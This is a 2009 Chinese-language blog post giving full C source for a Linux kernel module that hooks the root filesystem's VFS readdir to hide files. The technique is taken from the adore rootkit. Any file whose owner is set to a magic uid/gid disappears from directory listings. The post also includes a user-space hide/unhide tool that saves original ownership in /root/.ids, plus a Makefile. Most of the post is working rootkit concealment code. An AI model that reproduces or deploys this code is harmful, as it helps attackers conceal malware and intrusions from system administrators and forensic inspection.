vfs隐藏文件以及目录

2062阅读 1评论2009-12-31 ubuntuer
分类:LINUX

隐藏文件有很多种,我这里不想用已经落伍的劫持系统调用以及LD_PRELOAD环境变量...还是用VFS吧...看代码吧...
    想说下我这里的大概的思想思路,就是如果你想隐藏一个文件那么我就把它的uid和gid都变成一个不存在的值如下的ELITE_UID 和 ELITE_GID,内核态劫持vfs的readdir后判断uid和gid是不是ELITE_UID 和 ELITE_GID,是的话就可以隐藏文件了... 那么恢复文件的时候可以把uid和gid直接变成0 0 也就是root的就可以了...  可是如果你想恢复文件的时候还是保存其原有的属性呢...麻烦点我也做了看后面的代码.
hide.h
[code]
#define   ELITE_UID    6666
#define   ELITE_GID    8888
[/code]

hide.c
[code]
#include
#include
#include
#include

#include "hide.h"

void help(char* pro)
{
 printf("Usage: %s {h,u,} [file]\n\n"
         "       h hide file\n"
         "       u unhide file\n", pro);
}

int hidefile(char *path)
{  
  return lchown(path, ELITE_UID, ELITE_GID);
}

int unhidefile(char *path)
{
  return lchown(path, 0, 0);
}

int main(int argc, char* argv[])
{
 if (argc != 3 )
 {
  help(argv[0]);   
  return -1;
  }
 
  if(*argv[1]=='h')
    hidefile(argv[2]);
  else if(*argv[1]=='u')
    unhidefile(argv[2]);
       
   return 0;    
}
[/code]

kernel.c
[code]

#ifndef __KERNEL__
#define __KERNEL__
#endif
#ifndef MODULE
#define MODULE
#endif

#define LINUX26

#ifdef MODVERSIONS
#include
#endif

#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include

#include
#include
#include
#include
#include
#include
#include
#include

#include "hide.h"

char *root_fs = "/";  /* default FS to hide files */

typedef int (*readdir_t)(struct file *, void *, filldir_t);
readdir_t orig_root_readdir=NULL;

struct dentry *(*orig_proc_lookup)(struct inode *, struct dentry *,
                                   struct nameidata *) = NULL;
 
                                  
filldir_t root_filldir = NULL;
struct super_block *root_sb[1024];


int adore_root_filldir(void *buf, const char *name, int nlen, loff_t off, ino_t ino, unsigned x)
{
 struct inode *inode = NULL;
 int r = 0;
 uid_t uid;
 gid_t gid;
 char reiser = 0;


 if (!root_sb[current->pid % 1024])
  return 0;

 /* Theres an odd 2.6 behaivior. iget() crashes on ReiserFS! using iget_locked
  * without the unlock_new_inode() doesnt crash, but deadlocks
  * time to time. So I basically emulate iget() without
  * the sb->s_op->read_inode(inode); and so it doesnt crash or deadlock.
  */
 reiser = (strcmp(root_sb[current->pid % 1024]->s_type->name, "reiserfs") == 0);
 if (reiser) {
  if ((inode = iget_locked(root_sb[current->pid % 1024], ino)) == NULL)
   return 0;
 } else {
  if ((inode = iget(root_sb[current->pid % 1024], ino)) == NULL)
   return 0;
 }

 uid = inode->i_uid;
 gid = inode->i_gid;

 if (reiser) {
  if (inode->i_state & I_NEW)
   unlock_new_inode(inode);
 }

 iput(inode);

 /* Is it hidden ? */
 if (uid == ELITE_UID && gid == ELITE_GID) {
  r = 0;
 } else if (root_filldir) {
  r = root_filldir(buf, name, nlen, off, ino, x);
 }

 return r;
}


int adore_root_readdir(struct file *fp, void *buf, filldir_t filldir)
{
 int r = 0;

 if (!fp || !fp->f_vfsmnt || !fp->f_vfsmnt->mnt_sb || !buf ||
     !filldir || !orig_root_readdir)
  return 0;

 root_filldir = filldir;
 root_sb[current->pid % 1024] = fp->f_vfsmnt->mnt_sb;
 r = orig_root_readdir(fp, buf, adore_root_filldir);
 
 return r;
}


int patch_vfs(const char *p, readdir_t *orig_readdir, readdir_t new_readdir)
{
 struct file *filep;

  filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0);
 if (IS_ERR(filep)) {
                return -1;
 }

 if (orig_readdir)
  *orig_readdir = filep->f_op->readdir;

 ((struct file_operations *)(filep->f_op))->readdir =new_readdir;
 filp_close(filep, 0);
 return 0;
}


int unpatch_vfs(const char *p, readdir_t orig_readdir)
{
 struct file *filep;
 
  filep = filp_open(p, O_RDONLY|O_DIRECTORY, 0);
 if (IS_ERR(filep)) {
                return -1;
 }

 ((struct file_operations *)(filep->f_op))->readdir = orig_readdir;
 filp_close(filep, 0);
 return 0;
}

static int __init adore_init(void)
{
 patch_vfs(root_fs, &orig_root_readdir, adore_root_readdir);
 printk("%s\n", "patch vfs ok");
 return 0;
}


static void __exit adore_cleanup(void)
{
 unpatch_vfs(root_fs, orig_root_readdir);
  printk("%s\n", "unpatch vfs ok");
}

module_init(adore_init);
module_exit(adore_cleanup);
[/code]

[code]
KERNELBUILD := /lib/modules/$(shell uname -r)/build

obj-m += kernel.o

default: adore

adore:
 make -C $(KERNELBUILD) M=$(shell pwd) modules

clean:
 rm -f  *.ko *.o hide
 rm -f *mod* Module*

[/code]

上面的就可以完成文件隐藏了...内核编译的时候r = orig_root_readdir(fp, buf, adore_root_filldir);这里居然报错...我看了下内核源码也没有发现声明错误,也不知道为什么,希望大家帮看下


那么要是能够恢复之前的属性呢? 可以将属性保存在内核态...但是在内核态的话,内存就必须一直占有着,所以我这里以文件的形式保存在用户态了....不过大家要是知道有什么删除文件里某一行的好办法的话,可以告知我.... sed这些除外^_^    尝试了下mmap,mmap可以修改但是不能删除...  最后用了vi的方法,就是先读取整个文件到内存,删除某几个后在写回了文件
[code]
#include
#include
#include
#include
#include
#include

#include "hide.h"

typedef struct list
{
 char line[MAX_LEN];
 struct list* next;
 }LIST;
 
void help(char* pro)
{
 printf("Usage: %s {h,u,} [file]\n\n"
         "       h hide file\n"
         "       u unhide file\n", pro);
}

void init_list(LIST** L)
{
 *L = (LIST*)malloc(sizeof(LIST));
 (*L)->next = NULL;
}

void add_list(LIST* L, char* line) 
{
  LIST* p = (LIST*)malloc(sizeof(LIST));
 sprintf(p->line, line);
 p->next = L->next;
 L->next = p; 
}

void print_list(LIST* L)
{
  LIST* p = L->next;
  while(p!=NULL)
  {
   printf("%s", p->line);
    p = p->next;
  }
}
 
int hidefile(char *path)
{
  struct stat buf;
  int ret = 0;
  FILE* fp = NULL;
 
  OWN* file = (OWN*)malloc(sizeof(OWN));
  if(file == NULL)
  {
   printf("%s\n", "malloc error");
   return -1;
   }
   
  if(lstat(path, &buf)==-1)
     return  -1;
 
  file->uid = buf.st_uid;
  file->gid = buf.st_gid;
  file->filename = path;
 
 
  ret = lchown(path, ELITE_UID, ELITE_GID);
  if(ret==0)
   {
    fp = fopen(ID_FILE, "a+");
    if(fp == NULL)
    {
     printf("%s\n", "fopen() error");
     return -1;
     }  
    fprintf(fp , "%s\t%d\t%d\n", file->filename, file->uid, file->gid);
    fclose(fp);  
   }
   free(file);
   file=NULL;
  return ret;
}

int unhidefile(char *path)
{
 int ret = -1;
 OWN* file = NULL;
 FILE* fp = NULL;
 LIST* L = NULL;
 LIST* p = NULL;
 LIST* q = NULL;

  char buf[MAX_LEN];

  fp = fopen(ID_FILE, "r");
  if(fp == NULL)
   {
    printf("%s\n", "fopen() error");
    goto out;
   }  
   init_list(&L);
  
 
  while(fgets(buf, MAX_LEN, fp)!=NULL)
     add_list(L, buf);
 
  print_list(L);
  p = L;
  q = p->next;  
 
  file = (OWN*)malloc(sizeof(OWN));
  if(file == NULL)
   {
   printf("%s\n", "malloc error");
   goto out;
   }
   file->filename = (char*)malloc(MAX_LEN);
  while(q!=NULL)
   {
    sscanf(q->line, "%s\t%d\t%d\n", file->filename, &(file->uid), &(file->gid));
    if(strcmp(path ,file->filename)==0)
     {
       printf("find %s\n", file->filename);
       break;
      }  
    p = q;
    q = q->next;
   }   
 
    
  if(q == NULL)
   {
     printf("%s is not by me\n", path);
     ret = -1;
     goto out;
    }
  else
  {
   p->next = q->next;
   }  
 
   printf("%s\n", "after");
   print_list(L);
   fclose(fp);
    
  ret = lchown(file->filename, file->uid, file->gid);
 
printf("%s\n", "begin write");
  fp = fopen(ID_FILE, "w");
  p = L->next;
   while(p!=NULL)
   {
    q = p;
        printf("%s", p->line);
 fprintf(fp, "%s", p->line);
    p = p->next;
    free(q);
   } 
   free(L); 
  out:
   free(file);
   file = NULL;
   fclose(fp);
   return ret;
}

int main(int argc, char* argv[])
{
 if (argc != 3 )
 {
  help(argv[0]);   
  return -1;
  }
 
  if(*argv[1]=='h')
    hidefile(argv[2]);
  else if(*argv[1]=='u')
    unhidefile(argv[2]);
       
   return 0;    
}

[/code]

hide.h也要修改为
[code]
#ifndef HIDE_H
#define  HIDE_H

#define   ELITE_UID    6666
#define   ELITE_GID    8888

#define   MAX_LEN      100
#define   ID_FILE     "/root/.ids"

typedef struct file_own
{
 unsigned int uid;
 unsigned int gid;
 char* filename;
}OWN;

#endif

[/code]

好了大致就这么多了,在2.6.18上测试通过了,可以隐藏文件和目录,并可以恢复文件属性

 

看的不爽的话,参考我的cu的帖子

上一篇:GNU Linux核心命令和工具的源代码路径
下一篇:do{}while(0)宏定义的好处

文章评论